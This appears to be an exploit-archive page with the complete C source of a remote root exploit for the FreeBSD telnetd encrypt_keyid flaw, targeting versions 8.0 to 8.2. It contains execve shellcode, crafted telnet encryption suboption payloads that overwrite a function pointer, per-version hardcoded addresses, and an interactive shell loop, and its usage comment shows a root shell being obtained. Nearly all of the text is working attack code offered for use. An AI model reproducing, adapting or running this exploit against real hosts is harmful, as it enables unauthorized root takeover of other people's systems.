Lucene search
K

Telnetd encrypt_keyid: Remote Root function pointer overwrite

🗓️ 26 Dec 2011 00:00:00Reported by NighterManType 
zdt
 zdt
🔗 0day.today👁 15 Views

Telnetd encrypt_keyid remote root function pointer overwrit

Code
/***************************************************************************
 *            telnetd-encrypt_keyid.c
 *
 *  Mon Dec 26 20:37:05 CET 2011
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *
 *  [email protected] - [email protected]
 *  Credits to batchdrake as always
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________\  \_____________
 *        /  ___ / __  / / __  /  \  \/ _ \/  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/____\__,_/_/_/ /_/______/\___/\____/____
 *
 *
 ****************************************************************************/
 
/*
 *
 * Usage:
 *
 * $ gcc exploit.c -o exploit
 *
 * $ ./exploit 127.0.0.1 23 1
 * [<] Succes reading intial server request 3 bytes
 * [>] Telnet initial encryption mode and IV sent
 * [<] Server response: 8 bytes read
 * [>] First payload to overwrite function pointer sent
 * [<] Server response: 6 bytes read
 * [>] Second payload to triger the function pointer
 * [*] got shell?
 * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
 *
 */
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
 
#define MAXKEYLEN 64-1
 
struct key_info
{
  unsigned char keyid[MAXKEYLEN];
  unsigned char keylen[4];
  unsigned char dir[4];
  unsigned char modep[4];
  unsigned char getcrypt[4];
};
 
 
static unsigned char shellcode[] =
   "\x31\xc0"                      // xor          %eax,%eax
   "\x50"                          // push         %eax
   "\xb0\x17"                      // mov          $0x17,%al
   "\x50"                          // push         %eax
   "\xcd\x80"                      // int          $0x80
   "\x50"                          // push         %eax
   "\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   "\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   "\x89\xe3"                      // mov          %esp,%ebx
   "\x50"                          // push         %eax
   "\x54"                          // push         %esp
   "\x53"                          // push         %ebx
   "\x50"                          // push         %eax
   "\xb0\x3b"                      // mov          $0x3b,%al
   "\xcd\x80";                     // int          $0x80
 
static unsigned char tnet_init_enc[] =
        "\xff\xfa\x26\x00\x01\x01\x12\x13"
        "\x14\x15\x16\x17\x18\x19\xff\xf0";
 
static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
static unsigned char tnet_end_suboption[] = "\xff\xf0";
 
 
/*
 * shell(): semi-interactive shell hack
 */
static void shell(int fd)
{
    fd_set  fds;
    char    tmp[128];
    int n;
     
    /* check uid */
    write(fd, "id\n", 3);
  
    /* semi-interactive shell */
    for (;;) {
        FD_ZERO(&fds);
        FD_SET(fd, &fds);
        FD_SET(0, &fds);
  
        if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }
  
        /* read from fd and write to stdout */
        if (FD_ISSET(fd, &fds)) {
            if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
                fprintf(stderr, "Goodbye...\n");
                break;
            }
            if (write(1, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
  
        /* read from stdin and write to fd */
        if (FD_ISSET(0, &fds)) {
            if ((n = read(0, tmp, sizeof(tmp))) < 0) {
                perror("read");
                break;
            }
            if (write(fd, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
    }
  
    close(fd);
    exit(1);
}
 
 
static int open_connection(in_addr_t dip, int dport)
{
   int pconn;
   struct sockaddr_in cdata;
   struct timeval timeout;
 
   /* timeout.tv_sec  = _opts.timeout; */
   timeout.tv_sec  = 8;
   timeout.tv_usec = 0;
 
   /* Set socket options and create it */
   cdata.sin_addr.s_addr = dip;
   cdata.sin_port = htons(dport);
   cdata.sin_family = AF_INET;
 
   pconn = socket(AF_INET, SOCK_STREAM, 0);
    
   if( pconn < 0 )
   {
      printf("Socket error: %i\n", pconn);
      printf("Err message: %s\n", strerror(errno));
      exit(-1);
   }
 
   /* Set socket timeout */
   if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
   {
      perror("setsockopt SO_RCVTIMEO: ");
      exit(1);
   }
    
   /* Set socket options */
   if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
   {
      perror("setsockopt SO_SNDTIMEO: ");
      exit(1);
   }
 
   /* Make connection */
   if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
   {
      close(pconn);
      return -1;
   }
    
   return pconn;
}
 
 
 
static void usage(char *arg)
{
    printf("Telnetd encrypt_keyid exploit for FreeBSD\n");
    printf("NighterMan <[email protected]>\n\n");
    printf("Usage: %s [ip] [port] [target]\n", arg);
    printf("Available Targets:\n");
    printf(" - 1: FreeBSD 8.0 & 8.1\n");
    printf(" - 2: FreeBSD 8.2\n\n");
}
 
 
 
int main(int argc, char *argv[])
{
    /* Payload Size */
    int psize = (sizeof(struct key_info) +
                sizeof(tnet_option_enc_keyid) +
                sizeof(tnet_end_suboption));
     
    struct key_info bad_struct;
    unsigned char payload[psize];
    unsigned char readbuf[256];
     
    int ret;
    int conn;
    int offset = 0;
     
    if ( argc != 4) {
        usage(argv[0]);
        return -1;
    }
     
    /* Fill the structure */
    memset(&bad_struct, 0x90, sizeof(struct key_info));
    memcpy(&bad_struct.keyid[20], shellcode, sizeof(shellcode));
    memcpy(bad_struct.keylen,   "DEAD", 4);
    memcpy(bad_struct.dir,      "BEEF", 4);
    memcpy(bad_struct.modep,    "\x6c\x6f\x05\x08", 4); /* Readable address */
     
    /* Shellcode address (function pointer overwrite) */
    switch (atoi(argv[3])) {
        case 1:
            memcpy(bad_struct.getcrypt, "\xa6\xee\x05\x08", 4);
            break;
             
        case 2:
            memcpy(bad_struct.getcrypt, "\xed\xee\x05\x08", 4);
            break;
             
        default:
            printf("Bad target\n");
            return -1;
            break;
    }
     
    /* Prepare the payload with the overflow */
    memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
    offset += sizeof(tnet_option_enc_keyid);
    memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
    offset += sizeof(bad_struct);
    memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
     
 
    /* Open the connection */
    conn = open_connection(inet_addr(argv[1]), atoi(argv[2]));
    if (conn == -1) {
        printf("Error connecting: %i\n", errno);
        return -1;
    }
     
    /* Read initial server request */
    ret = read(conn, readbuf, 256);
    printf("[<] Succes reading intial server request %i bytes\n", ret);
     
     
    /* Send encryption and IV */
    ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
    if (ret != sizeof(tnet_init_enc)) {
        printf("Error sending init encryption: %i\n", ret);
        return -1;
    }
    printf("[>] Telnet initial encryption mode and IV sent\n");
     
    /* Read response */
    ret = read(conn, readbuf, 256);
    printf("[<] Server response: %i bytes read\n", ret);
     
    /* Send the first payload with the overflow */
    ret = write(conn, payload, psize);
    if (ret != psize) {
        printf("Error sending payload first time\n");
        return -1;
    }
    printf("[>] First payload to overwrite function pointer sent\n");
     
    /* Read Response */
    ret = read(conn, readbuf, 256);
    printf("[<] Server response: %i bytes read\n", ret);
     
     
    /* Send the payload again to tigger the function overwrite */
    ret = write(conn, payload, psize);
    if (ret != psize) {
        printf("Error sending payload second time\n");
        return -1;
    }
    printf("[>] Second payload to triger the function pointer\n");
     
     
    /* Start the semi interactive shell */
    printf("[*] got shell?\n");
    shell(conn);
     
     
    return 0;
}



#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation